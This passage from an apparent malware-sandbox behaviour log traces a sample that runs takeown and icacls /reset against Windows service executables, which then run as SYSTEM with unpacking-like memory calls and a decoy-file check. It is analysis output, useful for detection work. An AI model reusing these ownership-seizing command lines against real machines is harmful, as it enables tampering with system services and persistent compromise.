"NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 948 os_tid = 0x998 Thread: id = 949 os_tid = 0x9a8 Process: id = "119" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x3b3fb000" os_pid = "0x9ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 950 os_tid = 0x9b0 Process: id = "120" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x2d301000" os_pid = "0x9c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 951 os_tid = 0x9c4 Thread: id = 952 os_tid = 0x9d4 Process: id = "121" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x37105000" os_pid = "0x9dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 954 os_tid = 0x9e0 Process: id = "122" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x30e0a000" os_pid = "0x9f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 957 os_tid = 0x9fc Thread: id = 958 os_tid = 0xa0c Process: id = "123" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x3590f000" os_pid = "0xa10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 959 os_tid = 0xa14 Process: id = "124" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe" page_root = "0x36a19000" os_pid = "0xa24" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 960 os_tid = 0xa28 [0235.633] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2ef354 | out: ProcedureAddress=0x2ef354*=0x770149d7) returned 0x0 [0235.633] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2ef354 | out: ProcedureAddress=0x2ef354*=0x77011222) returned 0x0 [0235.633] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2ef354 | out: ProcedureAddress=0x2ef354*=0x77011856) returned 0x0 [0235.633] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2ef354 | out: ProcedureAddress=0x2ef354*=0x7701435f) returned 0x0 [0235.633] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0235.633] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0235.633] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0235.633] VirtualProtect (in: lpAddress=0x10d0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x2ef408 | out: lpflOldProtect=0x2ef408*=0x2) returned 1 [0235.644] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x160000 [0235.647] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0235.647] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0235.647] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0235.647] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 961 os_tid = 0xa2c Thread: id = 962 os_tid = 0xa30 Thread: id = 963 os_tid = 0xa34 Thread: id = 964 os_tid = 0xa38 Thread: id = 1044 os_tid = 0x72c Process: id = "125" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x1632e000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\SysWow64\\perfhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 965 os_tid = 0xa40 Thread: id = 966 os_tid = 0xa50 Process: id = "126" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x16533000" os_pid = "0xa54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\SysWow64\\perfhost.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 967 os_tid = 0xa58 Process: id = "127" image_name = "perfhost.exe" filename = "c:\\windows\\syswow64\\perfhost.exe" page_root = "0x3333d000" os_pid = "0xa68" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\SysWow64\\perfhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "S-1-5-80-3596911058-2952229928-1888671852-1743692427-614402820" [0xe], "NT AUTHORITY\\Logon Session 00000000:00037387" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 968 os_tid = 0xa6c [0237.716] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x39f2e4 | out: ProcedureAddress=0x39f2e4*=0x770149d7) returned 0x0 [0237.716] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x39f2e4 | out: ProcedureAddress=0x39f2e4*=0x77011222) returned 0x0 [0237.716] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x39f2e4 | out: ProcedureAddress=0x39f2e4*=0x77011856) returned 0x0 [0237.716] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x39f2e4 | out: ProcedureAddress=0x39f2e4*=0x7701435f) returned 0x0 [0237.716] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0237.716] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0237.716] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0237.716] VirtualProtect (in: lpAddress=0x8b0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x39f398 | out: lpflOldProtect=0x39f398*=0x2) returned 1 [0237.803] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0xf0000 [0237.807] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0237.807] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0237.807] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0237.807] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 970 os_tid = 0xa74 Thread: id = 971 os_tid = 0xa78 Thread: id = 972 os_tid = 0xa7c Thread: id = 973 os_tid = 0xa80 Thread: id = 1043 os_tid = 0x7cc Process: id = "128" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x33143000" os_pid = "0xa84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 974 os_tid = 0xa88 Process: id = "129" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x33948000" os_pid = "0xa98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 975 os_tid = 0xa9c Process: id = "130" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x33151000" os_pid = "0xaac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 976 os_tid = 0xab0 Thread: id = 977 os_tid = 0xac0 Process: id = "131" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x13f56000" os_pid = "0xac4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 978 os_tid = 0xac8 Process: id = "132" image_name = "presentationfontcache.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe" page_root = "0x12d44000" os_pid = "0xad8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\FontCache3.0.0.0" [0xe], "NT AUTHORITY\\Logon Session 00000000:00037ec6" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 979 os_tid = 0xadc [0240.586] GetTimeZoneInformation (in: lpTimeZoneInformation=0x4ef690 | out: lpTimeZoneInformation=0x4ef690) returned 0x2 [0240.588] GetCurrentProcess () returned 0xffffffff [0240.588] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x4ef67c | out: lpExitCode=0x4ef67c*=0x103) returned 1 [0240.588] GetForegroundWindow () returned 0x0 [0240.588] GetCaretBlinkTime () returned 0x1f4 [0240.588] GetFileType (hFile=0xf710cd) returned 0x0 [0240.588] GetConsoleProcessList (in: lpdwProcessList=0x4ef73c, dwProcessCount=0x1 | out: lpdwProcessList=0x4ef73c) returned 0x0 [0240.588] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x4ef648 | out: pcyOut=0x4ef648) returned 0x0 [0240.589] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0240.590] GetCommState (in: hFile=0x3b268c, lpDCB=0x4ef4b0 | out: lpDCB=0x4ef4b0) returned 0 [0240.590] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x4ef4ac, pmr=0x4ef498, cht=0x353) returned 0 [0240.590] CloseClipboard () returned 0 [0240.590] CoUninitialize () [0240.590] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0240.590] ReleaseMutex (hMutex=0xa0) returned 0 [0240.590] CloseHandle (hObject=0xa0) returned 1 [0240.590] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0240.590] GetCommState (in: hFile=0x3b268c, lpDCB=0x4ef4b0 | out: lpDCB=0x4ef4b0) returned 0 [0240.590] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x4ef4ac, pmr=0x4ef498, cht=0x353) returned 0 [0240.590] CloseClipboard () returned 0 [0240.590] CoUninitialize () [0240.590] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0240.590] ReleaseMutex (hMutex=0xa0) returned 0 [0240.590] CloseHandle (hObject=0xa0) returned 1 [0240.591] GetLocalTime (in: lpSystemTime=0x4ef74c | out: lpSystemTime=0x4ef74c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x34, wMilliseconds=0x1ed)) [0240.591] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x4ef1cc | out: ProcedureAddress=0x4ef1cc*=0x77011856) returned 0x0 [0240.591] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x200000 [0240.751] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x4ef1cc | out: ProcedureAddress=0x4ef1cc*=0x77011856) returned 0x0 [0240.751] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x1d0000 [0240.752] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x4ef264 | out: ProcedureAddress=0x4ef264*=0x770149d7) returned 0x0 [0240.752] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x4ef264 | out: ProcedureAddress=0x4ef264*=0x77011222) returned 0x0 [0240.752] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x4ef264 | out: ProcedureAddress=0x4ef264*=0x77011856) returned 0x0 [0240.753] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x4ef264 | out: ProcedureAddress=0x4ef264*=0x7701435f) returned 0x0 [0240.753] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0240.753] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0240.753] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0240.753] VirtualProtect (in: lpAddress=0x330000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x4ef318 | out: lpflOldProtect=0x4ef318*=0x2) returned 1 [0240.763] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x220000 [0240.766] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0240.766] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0240.766] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0240.766] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0241.442] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.456] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2b0000 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x104) returned 0x2b07d0 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b08e0 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0968 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b09f0 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0a78 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0b00 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0b88 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0c10 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0c98 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0d20 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0da8 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0e30 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0eb8 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0f40 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b0fc8 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b1050 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b10d8 [0241.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x400) returned 0x2b1160 [0241.466] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xb30000 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb307d0 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb30858 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb308e0 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x184) returned 0xb30968 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30af8 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30b40 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30b88 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30bd0 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30c18 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30c60 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30ca8 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30cf0 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30d38 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30d80 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30dc8 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30e10 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30e58 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30ea0 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30ee8 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb30f30 [0241.467] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4eee5c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe")) returned 0x47 [0241.467] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x100) returned 0xb30f78 [0241.467] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb308e0) returned 1 [0241.470] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb308e0 [0241.470] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2c) returned 0xb30928 [0241.477] GetVersionExW (in: lpVersionInformation=0x4ef47c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4ef47c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0241.477] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x4ef464 | out: Wow64Process=0x4ef464) returned 1 [0241.477] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4ef440 | out: TokenHandle=0x4ef440*=0xa0) returned 1 [0241.477] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4ef43c | out: TokenInformation=0x0, ReturnLength=0x4ef43c) returned 0 [0241.477] GetLastError () returned 0x7a [0241.477] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x140) returned 